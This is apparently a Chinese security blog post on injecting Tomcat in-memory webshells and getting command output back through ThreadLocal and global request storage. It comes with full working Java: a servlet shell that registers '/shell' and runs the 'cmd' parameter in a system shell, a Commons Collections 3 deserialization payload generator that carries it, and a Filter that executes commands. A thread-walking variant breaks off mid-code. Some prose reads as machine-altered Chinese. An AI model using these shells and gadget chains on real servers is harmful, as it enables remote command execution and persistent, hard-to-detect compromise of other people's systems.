我爱普洱茶 发表于 2024-5-16 12:03:27

Tomcat内存马回显

回顾JSP马

详情见:https://www.cnblogs.com/F12-blog/p/18111253
之前说的都是利用 jsp 注入内存马,但 Web 服务器中的 jsp 编译器还是会编译生成对应的 java 文件然后进行编译加载并进行实例化,所以还是会落地。
但如果直接注入,比如利用反序列化漏洞进行注入,由于 request 和 response 是 jsp 的内置对象,在回显题目上不用考虑,但如果不用 jsp 文件,就需要考虑如何回显的题目。
其实主要要解决的题目就是如何获取 request 和 response 对象。
现在主流的回显技术(部分)主要有:

[*]linux 下通过文件形貌符,获取 Stream 对象,对当前网络连接进行读写操纵。
限制:必须是 linux,而且在取文件形貌符的过程中有可能会受到其他连接信息的干扰
[*]通过ThreadLocal Response回显,基于调用栈获取中获取 response 对象(ApplicationFilterChain中)
限制:如果漏洞在 ApplicationFilterChain 获取回显 response 代码之前,那么就无法获取到Tomcat Response进行回显。
[*]通过全局存储 Response回显,寻找在Tomcat处理 Filter 和 Servlet 之前有没有存储 response 变量的对象
限制:会导致http包超长,但相对比较通用。
ThreadLocal Response 回显

什么是ThreadLocal

ThreadLocal的作用就是:线程安全。 ThreadLocal的本质就是一个内部的静态的map,key是当火线程的句柄,value是需要保持的值。 由于是内部静态map,不提供遍历和查询的接口,每个线程只能获取本身线程的value。 如许,就线程安全了,又提供了数据共享的本领。
举个例子
package org.example;


import java.util.concurrent.TimeUnit;

public class NumUtil {
    public static int addNum = 0;
    public static int add10(int num) throws InterruptedException {
      addNum = num;
      try {
            TimeUnit.SECONDS.sleep(1);
      } catch (InterruptedException e){
            e.printStackTrace();
      }
      return addNum + 10;
    }
}package org.example;

import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class threadDemo {
    public static void main(String[] args) {
      ExecutorService executorService = Executors.newFixedThreadPool(20);
      for(int i=0;i<20;i++){
            int num = i;
            executorService.execute(()->{
                try {
                  System.out.println(num+":"+NumUtil.add10(num));
                } catch (InterruptedException e) {
                  throw new RuntimeException(e);
                }
            });
      }
      executorService.shutdown();
    }
}
// 输出
6:29
11:29
13:29
14:29
0:29
3:29
12:29
15:29
17:29
18:29
7:29
16:29
2:29
1:29
9:29
10:29
19:29
8:29
4:29
5:29一个利用线程来进行对addNum加数的操纵,这结果是不是看着怪怪的,全是29。
这里其实可以联合条件竞争来理解,在多线程的情况下,比如线程1中for循环到数字9,由于不同线程之间变量没有隔离,这时候线程2实行到了addn10方法中,就接替了线程1的工作,进行+10,但是线程2中for循环只到了2。因此会输出2:29如许的数字,其他结果也是同样的道理
解决方法有很多,此中一种就是运用ThreadLocal创建独立的线程变量域:
将之前的工具类改为:
public class NumUtil {

    private static ThreadLocal<Integer> addNumThreadLocal = new ThreadLocal<>();

    public static int add10(int num) {
      addNumThreadLocal.set(num);
      try {
            TimeUnit.SECONDS.sleep(1);
      } catch (InterruptedException e) {
            e.printStackTrace();
      }
      return addNumThreadLocal.get() + 10;
    }
}package org.example;

import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class threadDemo {
    public static void main(String[] args) {
      ExecutorService executorService = Executors.newFixedThreadPool(20);
      for(int i=0;i<20;i++){
            int num = i;
            executorService.execute(()->{
                System.out.println(num+":"+NumUtil.add10(num));
            });
      }
      executorService.shutdown();
    }
}
// 输出
4:14
16:26
10:20
18:28
17:27
11:21
9:19
2:12
3:13
8:18
15:25
6:16
7:17
0:10
1:11
13:23
12:22
14:24
19:29
5:15这回就正常了,在这之中我们创建了ThreadLocal,之前也说了本质就是一个用于存放当前进程变量的map,ThreadLocalMap是其内部类,调用了它的set和get方法用于储存和取出变量
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240403163108633-1074691634.png#height=199&id=IGvyH&originHeight=547&originWidth=1593&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=578.7142944335938https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240403163125491-345283473.png#height=185&id=H8W0B&originHeight=352&originWidth=1100&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=578.7142944335938
ApplicationFilterChain#internalDoFilter

启一个springboot服务(3.0.2),简朴的写个servlet,然后打个断点访问就能看到调用栈了
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240406125301508-279681261.png#height=250&id=UT7Mk&originHeight=378&originWidth=882&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=582.7142944335938
可以看到重复调用了internalDoFilter,我们通过观察ApplicationFilterChain这个类可以发现,他内置了两个变量lastServicedRequest和lastServicedResponse,分别都是ThreadLocal类型:
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240406125526038-912525876.png#height=152&id=TF2vm&originHeight=368&originWidth=1412&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=582.7142944335938
在internalDoFilter方法中对这两个属性进行了赋值,不外得满意上方的if条件,这里的request和response就是我们目标对象,这里dispatcherWrapsSameObject默认就是false,我们可以通过反射修改,第一次访问URL,对dispatcherWrapsSameObject进行修改,第二次访问URL就能获取request和response
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240406125648806-1677629182.png#height=156&id=zWHrY&originHeight=283&originWidth=1052&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=581.7142944335938
Springboot版本题目

springboot2和springboot3,它们的if条件不同
springboot2:
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240406130406792-565833438.png#height=162&id=nqWGx&originHeight=273&originWidth=976&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=580.7142944335938
springboot3:
https://cdn.nlark.com/yuque/0/2024/png/34852811/1712379862376-2b8a8419-908b-4992-9127-a89384cee35d.png#averageHue=%232c2b2b&clientId=u17a0715a-f7ad-4&height=156&id=Fb24i&originHeight=283&originWidth=1052&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=u626ced3b-c543-43f3-af62-b87749dfbf8&title=&width=581.7142944335938
反射修改static final属性

在SpringBoot2中ApplicationDispatcher.WRAP_SAME_OBJECT的类型是一个private static final类型的属性,这种属性由于一些缘故原由无法被反射直接修改,我们可以通过反射去除final修饰符的方式达到修改的目的
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240406130638668-875800652.png#height=101&id=aOgou&originHeight=121&originWidth=691&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=579.0000610351562
modifiers实际就是一个int类型的26,而且每个修饰符都有一个int的值,比如private是2,static是8,final是16那么我们只需要把目标属性的modifiers属性减去16,就相称于去除了final属性,图中取反然后按位与操纵就是实现减16
JDK版本题目

在JDK12+之后,我们就不能通过上述方法移除final修饰符了,会报错NoSuchFiled:modifiers
所以这里并不研究jdk12以后的回显题目,所以在这里将SpringBoot降到了2.6版本,JDK降到了11
初步构造回显

package com.example.springboot2.controller;

import org.apache.catalina.core.ApplicationFilterChain;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.ServletContext;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

@Controller
public class echoshell {
    @RequestMapping("/normal")
    @ResponseBody
    public String hello() throws IllegalAccessException, NoSuchFieldException, ClassNotFoundException {
      //反射获取3个属性
      Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
      Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
      Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
      //去除final修饰符
      Field modifiersField = Field.class.getDeclaredField("modifiers");
      //设置private可访问可修改
      modifiersField.setAccessible(true);
      WRAP_SAME_OBJECT_FIELD.setAccessible(true);
      lastServicedRequestField.setAccessible(true);
      lastServicedResponseField.setAccessible(true);
      modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
      modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
      modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
      //反射修改lastServiceresponse和lastservicerequest属性的值
      ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
      ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
      //修改WRAP_SAME_OBJECT_FIELD值为true,进入request判断
      boolean wrap_same_object_fieldBoolean = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
      //第一次进入时为false和null
      if (!wrap_same_object_fieldBoolean || lastServicedResponse == null || lastServicedRequest == null) {
            System.out.println("in");
            lastServicedRequestField.set(null, new ThreadLocal<>());
            lastServicedResponseField.set(null, new ThreadLocal<>());
            WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
      }
      //第二次进入时就进入了if赋值为了request和response,因此进入else
      else {
            String name = "xxx";
            //从req中获取ServletContext对象
            // 第二次请求后进入 else 代码块,获取 Request 和 Response 对象,写入回显
            ServletRequest servletRequest = lastServicedRequest.get();
            ServletContext servletContext = servletRequest.getServletContext();
            System.out.println(servletContext);
            System.out.println(servletRequest);

      }
      return "nothing";
    }
}访问两次成功获取ServletContext和request
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240406131809844-1560744080.png#height=93&id=i4P8t&originHeight=151&originWidth=884&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=541.7142944335938
反序列化注入Servlet内存马

准备一个CC3的情况的springboot2,写一个反序列化入口
package com.example.springboot2.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;

@Controller
public class echoshell {
    @RequestMapping("/normal")
    @ResponseBody
    public void hello(HttpServletRequest request) throws IOException {
      System.out.println("in");
      byte[] data = Base64.getDecoder().decode(request.getParameter("data"));
      ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
      ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
      try{
            System.out.println(objectInputStream.readObject());
      } catch (ClassNotFoundException e){
            e.printStackTrace();
      }
    }
}准备内存马:
package com.example.springboot2.controller;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;

public class shellcode extends AbstractTranslet implements Servlet{

    static {
      try {
            Class<?> clazz = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
            Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequest = clazz.getDeclaredField("lastServicedRequest");
            Field lastServicedResponse = clazz.getDeclaredField("lastServicedResponse");
            Field modifiers = Field.class.getDeclaredField("modifiers");
            modifiers.setAccessible(true);
            // 去掉final修饰符,设置访问权限
            modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~Modifier.FINAL);
            modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
            modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
            WRAP_SAME_OBJECT.setAccessible(true);
            lastServicedRequest.setAccessible(true);
            lastServicedResponse.setAccessible(true);
            // 修改 WRAP_SAME_OBJECT 并且初始化 lastServicedRequest 和 lastServicedResponse
            if (!WRAP_SAME_OBJECT.getBoolean(null)) {
                WRAP_SAME_OBJECT.setBoolean(null, true);
                lastServicedRequest.set(null, new ThreadLocal<ServletRequest>());
                lastServicedResponse.set(null, new ThreadLocal<ServletResponse>());
            } else {
                String name = "xxx";
                //从req中获取ServletContext对象
                // 第二次请求后进入 else 代码块,获取 Request 和 Response 对象,写入回显
                ThreadLocal<ServletRequest> threadLocalReq = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);
                ThreadLocal<ServletResponse> threadLocalResp = (ThreadLocal<ServletResponse>) lastServicedResponse.get(null);
                ServletRequest servletRequest = threadLocalReq.get();
                ServletResponse servletResponse = threadLocalResp.get();

                ServletContext servletContext = servletRequest.getServletContext();


                if (servletContext.getServletRegistration(name) == null) {
                  StandardContext o = null;

                  // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                  while (o == null) {
                        Field f = servletContext.getClass().getDeclaredField("context");
                        f.setAccessible(true);
                        Object object = f.get(servletContext);

                        if (object instanceof ServletContext) {
                            servletContext = (ServletContext) object;
                        } else if (object instanceof StandardContext) {
                            o = (StandardContext) object;
                        }
                  }

                  //自定义servlet
                  Servlet servlet = new shellcode();

                  //用Wrapper封装servlet
                  Wrapper newWrapper = o.createWrapper();
                  newWrapper.setName(name);
                  newWrapper.setLoadOnStartup(1);
                  newWrapper.setServlet(servlet);

                  //向children中添加Wrapper
                  o.addChild(newWrapper);
                  //添加servlet的映射
                  o.addServletMappingDecoded("/shell", name);

                }
            }
      } catch (Exception e) {
            e.printStackTrace();
      }

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(ServletConfig servletConfig) throws ServletException {

    }

    @Override
    public ServletConfig getServletConfig() {
      return null;
    }

    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
      String cmd = servletRequest.getParameter("cmd");
      boolean isLinux = true;
      String osTyp = System.getProperty("os.name");
      if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
      }
      String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
      InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
      Scanner s = new Scanner(in).useDelimiter("\\a");
      String output = s.hasNext() ? s.next() : "";
      PrintWriter out = servletResponse.getWriter();
      out.println(output);
      out.flush();
      out.close();
    }

    @Override
    public String getServletInfo() {
      return null;
    }

    @Override
    public void destroy() {

    }
}cc3:
package com.f12;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fos = new FileOutputStream("cc3.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fos);
      oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }
    public static String encryptToBase64(String filePath) {
      if (filePath == null) {
            return null;
      }
      try {
            byte[] b = Files.readAllBytes(Paths.get(filePath));
            return Base64.getEncoder().encodeToString(b);
      } catch (IOException e) {
            e.printStackTrace();
      }

      return null;
    }
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
      TemplatesImpl templates = new TemplatesImpl();
      Field _name = TemplatesImpl.class.getDeclaredField("_name");
      _name.setAccessible(true);
      _name.set(templates, "1");
      Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
      _bytecodes.setAccessible(true);
      byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\springboot2\\target\\classes\\com\\example\\springboot2\\controller\\shellcode.class"));
      byte[][] code = {bytes};
      _bytecodes.set(templates, code);
      Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
      _tfactory.setAccessible(true);
      _tfactory.set(templates, new TransformerFactoryImpl());
//      Transformer transformer = templates.newTransformer();
      Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
      HashMap<Object, Object> map = new HashMap<>();
      Map<Object, Object> decorate = LazyMap.decorate(map,chainedTransformer);
      Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
      Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
      constructor.setAccessible(true);
      InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);
      Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
      Object o = constructor.newInstance(Target.class, newMap);
      serialize(o);
      System.out.println(encryptToBase64("cc3.bin"));
//      deserialize("cc3.bin");
//      Map<Object, Object> map = new HashMap<>();
//      Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
//      TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
//      HashMap<Object, Object> hashMap = new HashMap<>();
//      hashMap.put(tiedMapEntry, null);
//      map.remove(null);
//      Field factory = LazyMap.class.getDeclaredField("factory");
//      factory.setAccessible(true);
//      factory.set(lazymap, chainedTransformer);
//      serialize(hashMap);
//      deserialize("cc3.bin");
    }
}访问两次,固然会报错,但是能成功注入内存马
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240406134740056-800317158.png#height=371&id=QUhLq&originHeight=620&originWidth=805&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=481.71429443359375
局限性

上述是一种半通用的方法,有肯定的局限性,该方法入口类是在ApplicationFilterChain#internalDofilter方法,如果序列化触发点在这之前的话就无法注入(比如shiro),而且还有JDK和SpringBoot的版本限制
基于Tomcat全局存储进行回显

通杀某些版本
流程分析

还是起个springboot,简朴写个servlet,打个断点看调用栈,定位Http11Processor,调用了getAdapter().service(request, response);,此中的request和response都来自父类AbstractProcessor
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240406135603392-81712544.png#height=206&id=h3zae&originHeight=799&originWidth=2383&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=613.7142944335938
往上找,在AbstractProtocol#ConnectionHandler中调用了register方法注册了processor,这里的processor就是上面的Http11processor:https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240406140956222-1069484962.png#height=167&id=vyWaq&originHeight=405&originWidth=1466&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=605.7142944335938
继续跟进,在register方法中,有个RequestInfo类型的对象rp,里面封装着一个request对象,rp.setGlobalProcessor(global);将rp存入global属性中
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240406141110704-1911479355.png#height=218&id=k0zSE&originHeight=501&originWidth=1391&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=604.7142944335938
这个request对象是和之前Http11processor中的request对象相同的,既然把同一个request对象放到了global中,所以我们尝试寻找存储了AbstractProtocol实例的地方,由于global对象是在内部类ConnectionHandler中,如果可以获取到AbstractProtocol对象,那么就能通过反射getHandler方法来获取到内部类ConnectionHandler的实例,进而获取global:既然同一个request对象都被封装进了AbstractProtocol的global属性当中,那现在需要做的就是如何找到储存了AbstractProtocol类的地方,只要找到了我们就可以通过反射获取,找到AbstractEndpoint此中的Handler接口:https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240406142205587-403767257.png#height=111&id=pAS4P&originHeight=206&originWidth=1114&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=597.7142944335938
思路图如下:
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240406142226775-938271220.png#height=112&id=jsPgG&originHeight=232&originWidth=1239&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=597.7142944335938
所以现在就是需要获取AbstractProtocol,我们继续观察调用栈,可以发现在CoyoteAdapter类中的connector属性中存放了protocolHandler对象:
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240406142601674-344748413.png#height=312&id=wcyfk&originHeight=716&originWidth=1360&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=592.7142944335938
protocolHandler和AbstractProtocol的继承关系图如下:
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240406142701909-2010524790.png#height=232&id=AMASu&originHeight=517&originWidth=1299&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=581.7142944335938
而且通过观察可以发现存在connector属性中的protocolHandler属性真实类型为Http11NioProtocol对象,而这刚好就是AbstractProtocol的子类,我们可以通过向上转型从而获取AbstractProtocol,然后去获取global属性,进而获取requestinfo最后获取request对象,这个Connector类是在org.apache.catalina包下的,Tomcat会最先加载这个包,所以我们到Tomcat启动过程中寻找一下Connector类的踪迹。如果认识Spring boot启动Tomcat服务器流程的话,可以知道在TomcatServletWebServerFactory#getWebServer方法中实行了addConnector方法,实行完之后就会把connector对象封装到StandardService对象中:
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240406143503480-1603086541.png#height=177&id=mUVxy&originHeight=425&originWidth=1392&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=578.7142944335938
后面的思路就是通过WebappClassLoaderBase这个线程上下文类加载器与StrandardService来产生联系,这个类加载器我们可以直接通过Thread.currentThread().getContextClassLoader()来直接获取到实例,所以整个寻找链也就完成了:
WebappClassLoaderBase -->
        resources(StandardRoot) -->
                context(StandardContext) -->
                        context(ApplicationContext) -->
                                service(StandardService) -->
                                        connectors(Connector[]) -->
                                                protocolHandler(ProtocolHandler) -->
                                                        (转型)protocolHandler(AbstractProtocol) -->
                                                                (内部类)hanlder(AbstractProtocol$ConnectorHandler) -->
                                                                        global(RequestGroupInfo) -->
                                                                                processors(ArrayList) -->
                                                                                        requestInfo(RequestInfo) -->
                                                                                                req(org.apache.coyote.Request) --getNote-->
                                                                                                        request(org.apache.connector.Request) -->
                                                                                                                response(org.apache.connector.Response)有一点需要注意的是,我们最后拿到的Request对象是org.apache.coyote.Request,而真正需要其实是org.apache.catalina.connector.Request对象,前者是是应用层对于请求-响应对象的底层实现,并不方便使用,通过调用其getNote方法可以得到后者
内存马回显构造

package com.example.springboot2.filter;
import org.apache.catalina.Context;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.Request;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Scanner;

@WebFilter(filterName = "testFilter", urlPatterns = "/*")
public class Filter3 implements Filter {
    @Override
    public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain chain) throws IOException, ServletException {
      String cmd = null;
      try {
            WebappClassLoaderBase loader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            Context context = loader.getResources().getContext();
            // 获取 ApplicationContext
            Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
            applicationContextField.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(context);
            // 获取 StandardService
            Field serviceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
            serviceField.setAccessible(true);
            StandardService standardService = (StandardService) serviceField.get(applicationContext);

            // 获取 Connector 并筛选 HTTP Connector
            Connector[] connectors = standardService.findConnectors();
            for (Connector connector : connectors) {
                if (connector.getScheme().contains("http")) {
                  // 获取 AbstractProtocol 对象
                  AbstractProtocol abstractProtocol = (AbstractProtocol) connector.getProtocolHandler();

                  // 获取 AbstractProtocol$ConnectionHandler
                  Method getHandler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
                  getHandler.setAccessible(true);
                  AbstractEndpoint.Handler ConnectionHandler = (AbstractEndpoint.Handler) getHandler.invoke(abstractProtocol);

                  // global(RequestGroupInfo)
                  Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
                  globalField.setAccessible(true);
                  RequestGroupInfo global = (RequestGroupInfo) globalField.get(ConnectionHandler);

                  // processors (ArrayList)
                  Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
                  processorsField.setAccessible(true);
                  ArrayList processors = (ArrayList) processorsField.get(global);

                  for (Object processor : processors) {
                        RequestInfo requestInfo = (RequestInfo) processor;
                        // 依据 QueryString 获取对应的 RequestInfo
                        if (requestInfo.getCurrentQueryString().contains("cmd")) {
                            Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
                            reqField.setAccessible(true);
                            // org.apache.coyote.Request
                            Request requestTemp = (Request) reqField.get(requestInfo);
                            // org.apache.catalina.connector.Request
                            org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) requestTemp.getNote(1);

                            // 执行命令
                            cmd = request.getParameter("cmd");
                            String[] cmds = null;
                            if (cmd != null) {
                              if (System.getProperty("os.name").toLowerCase().contains("win")) {
                                    cmds = new String[]{"cmd", "/c", cmd};
                              } else {
                                    cmds = new String[]{"/bin/bash", "-c", cmd};
                              }
                              InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
                              Scanner s = new Scanner(inputStream).useDelimiter("//A");
                              String output = s.hasNext() ? s.next() : "";
                              PrintWriter writer = request.getResponse().getWriter();
                              writer.write(output);
                              writer.flush();
                              writer.close();

                              break;
                            }
                        }
                  }
                }
            }
      } catch (Exception e) {
            e.printStackTrace();
      }

      chain.doFilter(request1, response1);
    }
}主类记得加上扫描注解
package com.example.springboot2;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.web.servlet.ServletComponentScan;

@SpringBootApplication
@ServletComponentScan
public class Springboot2Application {

    public static void main(String[] args) {
      SpringApplication.run(Springboot2Application.class, args);
    }

}https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240406145703337-1676865416.png#height=332&id=DDBjo&originHeight=616&originWidth=916&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=493.71429443359375
局限性

该方法在tomcat10以下应该是可以通杀的,因为之前用的高版本springBoot,springboot在2.6以后移除了getresources方法,所以寄
通过遍历进程来获取Context

package com.example.springboot2.controller;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardEngine;
import org.apache.catalina.core.StandardHost;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Scanner;

public class Tomcat6789 extends AbstractTranslet implements Servlet {
    public static Object getField(Object object, String fieldName) {
      Field declaredField;
      Class clazz = object.getClass();
      while (clazz != Object.class) {
            try {

                declaredField = clazz.getDeclaredField(fieldName);
                declaredField.setAccessible(true);
                return declaredField.get(object);
            } catch (NoSuchFieldException e){}
            catch (IllegalAccessException e){}
            clazz = clazz.getSuperclass();
      }
      return null;
    }

    public Tomcat6789() {
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    static {
      String uri = "";
      String serverName = "";
      Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
      Object object;
      for (Thread thread : threads) {

            if (thread == null) {
                continue;
            }
            if (thread.getName().contains("exec")) {
                continue;
            }
            Object target = getField(thread, "target");
            if (!(target instanceof Runnable)) {
                continue;
            }

            try {
                object = getField(getField(getField(target, "this$0"), "handler"), "global");
            } catch (Exception e) {
                continue;
            }
            if (object == null) {
                continue;
            }
            java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
            Iterator iterator = processors.iterator();
            while (iterator.hasNext()) {
                Object next = iterator.next();

                Object req = getField(next, "req");
                Object serverPort = getField(req, "serverPort");
                if (serverPort.equals(-1)){continue;}
                org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
                serverName = (String) getField(serverNameMB, "strValue");
